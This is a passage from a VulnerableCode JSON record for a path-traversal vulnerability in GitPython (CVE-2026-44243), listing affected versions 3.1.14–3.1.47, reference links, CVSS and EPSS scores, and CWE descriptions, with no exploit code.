0012?format=json","purl":"pkg:pypi/gitpython@3.1.14","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.14"},{"url":"http://public2.vulnerablecode.io/api/packages/30013?format=json","purl":"pkg:pypi/gitpython@3.1.15","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.15"},{"url":"http://public2.vulnerablecode.io/api/packages/30014?format=json","purl":"pkg:pypi/gitpython@3.1.16","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.16"},{"url":"http://public2.vulnerablecode.io/api/packages/30015?format=json","purl":"pkg:pypi/gitpython@3.1.17","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.17"},{"url":"http://public2.vulnerablecode.io/api/packages/30016?format=json","purl":"pkg:pypi/gitpython@3.1.18","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.18"},{"url":"http://public2.vulnerablecode.io/api/packages/30017?format=json","purl":"pkg:pypi/gitpython@3.1.19","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.19"},{"url":"http://public2.vulnerablecode.io/api/packages/30018?format=json","purl":"pkg:pypi/gitpython@3.1.20","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.20"},{"url":"http://public2.vulnerablecode.io/api/packages/30019?format=json","purl":"pkg:pypi/gitpython@3.1.22","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.22"},{"url":"http://public2.vulnerablecode.io/api/packages/30020?format=json","purl":"pkg:pypi/gitpython@3.1.23","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.23"},{"url":"http://public2.vulnerablecode.io/api/packages/30021?format=json","purl":"pkg:pypi/gitpython@3.1.24","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.24"},{"url":"http://public2.vulnerablecode.io/api/packages/30022?format=json","purl":"pkg:pypi/gitpython@3.1.25","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.25"},{"url":"http://public2.vulnerablecode.io/api/packages/30023?format=json","purl":"pkg:pypi/gitpython@3.1.26","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.26"},{"url":"http://public2.vulnerablecode.io/api/packages/30024?format=json","purl":"pkg:pypi/gitpython@3.1.27","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.27"},{"url":"http://public2.vulnerablecode.io/api/packages/30025?format=json","purl":"pkg:pypi/gitpython@3.1.28","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.28"},{"url":"http://public2.vulnerablecode.io/api/packages/30026?format=json","purl":"pkg:pypi/gitpython@3.1.29","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-qdcn-btzg-pqbh"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.29"},{"url":"http://public2.vulnerablecode.io/api/packages/30027?format=json","purl":"pkg:pypi/gitpython@3.1.30","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.30"},{"url":"http://public2.vulnerablecode.io/api/packages/35149?format=json","purl":"pkg:pypi/gitpython@3.1.31","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-3mf6-vqf2-pug2"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.31"},{"url":"http://public2.vulnerablecode.io/api/packages/35150?format=json","purl":"pkg:pypi/gitpython@3.1.32","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"},{"vulnerability":"VCID-sgae-p557-9uhk"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.32"},{"url":"http://public2.vulnerablecode.io/api/packages/35390?format=json","purl":"pkg:pypi/gitpython@3.1.33","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.33"},{"url":"http://public2.vulnerablecode.io/api/packages/35510?format=json","purl":"pkg:pypi/gitpython@3.1.34","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-2wzu-49nj-8be5"},{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.34"},{"url":"http://public2.vulnerablecode.io/api/packages/35511?format=json","purl":"pkg:pypi/gitpython@3.1.35","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.35"},{"url":"http://public2.vulnerablecode.io/api/packages/38620?format=json","purl":"pkg:pypi/gitpython@3.1.36","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.36"},{"url":"http://public2.vulnerablecode.io/api/packages/38621?format=json","purl":"pkg:pypi/gitpython@3.1.37","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.37"},{"url":"http://public2.vulnerablecode.io/api/packages/38622?format=json","purl":"pkg:pypi/gitpython@3.1.38","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.38"},{"url":"http://public2.vulnerablecode.io/api/packages/38623?format=json","purl":"pkg:pypi/gitpython@3.1.40","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-baz5-ra3v-9qeh"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.40"},{"url":"http://public2.vulnerablecode.io/api/packages/38624?format=json","purl":"pkg:pypi/gitpython@3.1.41","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.41"},{"url":"http://public2.vulnerablecode.io/api/packages/508743?format=json","purl":"pkg:pypi/gitpython@3.1.42","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.42"},{"url":"http://public2.vulnerablecode.io/api/packages/508744?format=json","purl":"pkg:pypi/gitpython@3.1.43","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.43"},{"url":"http://public2.vulnerablecode.io/api/packages/508745?format=json","purl":"pkg:pypi/gitpython@3.1.44","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.44"},{"url":"http://public2.vulnerablecode.io/api/packages/508746?format=json","purl":"pkg:pypi/gitpython@3.1.45","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.45"},{"url":"http://public2.vulnerablecode.io/api/packages/508747?format=json","purl":"pkg:pypi/gitpython@3.1.46","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-eyn3-gekx-bbe3"},{"vulnerability":"VCID-h687-pdbs-dyg7"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.46"},{"url":"http://public2.vulnerablecode.io/api/packages/110210?format=json","purl":"pkg:pypi/gitpython@3.1.47","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-73vk-7v7v-euec"},{"vulnerability":"VCID-7dsm-k9yr-xfdf"},{"vulnerability":"VCID-k41z-2bwv-fbc9"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:pypi/gitpython@3.1.47"}],"references":[{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44243","reference_id":"","reference_type":"","scores":[{"value":"0.00138","scoring_system":"epss","scoring_elements":"0.33592","published_at":"2026-06-07T12:55:00Z"},{"value":"0.00138","scoring_system":"epss","scoring_elements":"0.33627","published_at":"2026-06-06T12:55:00Z"},{"value":"0.00138","scoring_system":"epss","scoring_elements":"0.33613","published_at":"2026-06-05T12:55:00Z"},{"value":"0.00159","scoring_system":"epss","scoring_elements":"0.36551","published_at":"2026-06-08T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-44243"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44243","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44243"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/gitpython-developers/GitPython","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"value":"7.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/gitpython-developers/GitPython"},{"reference_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"value":"7.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:12:42Z/"}],"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48"},{"reference_url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"7.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track*","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-05-07T19:12:42Z/"}],"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243","reference_id":"","reference_type":"","scores":[{"value":"7.1","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"},{"value":"7.8","scoring_system":"cvssv4","scoring_elements":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44243"},{"reference_url":"https://github.com/advisories/GHSA-7545-fcxq-7j24","reference_id":"GHSA-7545-fcxq-7j24","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7545-fcxq-7j24"},{"reference_url":"https://usn.ubuntu.com/8303-1/","reference_id":"USN-8303-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8303-1/"}],"weaknesses":[{"cwe_id":22,"name":"Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","description":"The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."},{"cwe_id":937,"name":"OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013."},{"cwe_id":1035,"name":"OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities","description":"Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2017."}],"exploits":[],"severity_range_score":"6.5 - 8.9","exploitability":"0.5","weighted_severity":"8.0","risk_score":4.0,"resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-k41z-2bwv-fbc9"}